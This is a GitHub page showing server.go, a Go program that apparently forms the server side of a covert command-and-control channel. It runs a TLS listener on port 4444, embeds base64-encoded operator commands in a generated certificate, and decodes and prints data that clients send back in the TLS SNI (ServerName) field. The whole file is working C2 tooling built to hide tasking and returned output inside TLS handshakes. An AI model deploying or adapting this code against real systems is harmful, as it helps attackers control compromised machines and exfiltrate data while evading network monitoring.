-
Notifications
You must be signed in to change notification settings - Fork 1
/
server.go
54 lines (49 loc) · 1.16 KB
/
server.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
package main
import (
"crypto/tls"
"encoding/base64"
"flag"
"fmt"
"log"
"github.com/lesnuages/yuna/network"
)
var (
port = flag.String("port", "4444", "Port to listen on")
command = flag.String("command", "", "Command to execute")
)
func handleConn(conn *tls.Conn) {
connState := conn.ConnectionState()
data := connState.ServerName
if decoded, err := base64.StdEncoding.DecodeString(data); err == nil {
fmt.Println(string(decoded[:]))
}
}
func main() {
flag.Parse()
log.Println("Command:", *command)
var (
commands []string
cert tls.Certificate
err error
)
commands = append(commands, *command)
for i, val := range commands {
commands[i] = base64.StdEncoding.EncodeToString([]byte(val))
}
cert, err = network.GenerateCertificate("server", commands)
config := &tls.Config{Certificates: []tls.Certificate{cert}}
ln, err := tls.Listen("tcp", ":"+(*port), config)
if err != nil {
log.Fatalf("Could not start listener: %s\n", err)
}
defer ln.Close()
log.Println("Listenning on 0.0.0.0:" + (*port))
for {
conn, err := ln.Accept()
if err != nil {
continue
}
conn.Write([]byte("hi\n"))
go handleConn(conn.(*tls.Conn))
}
}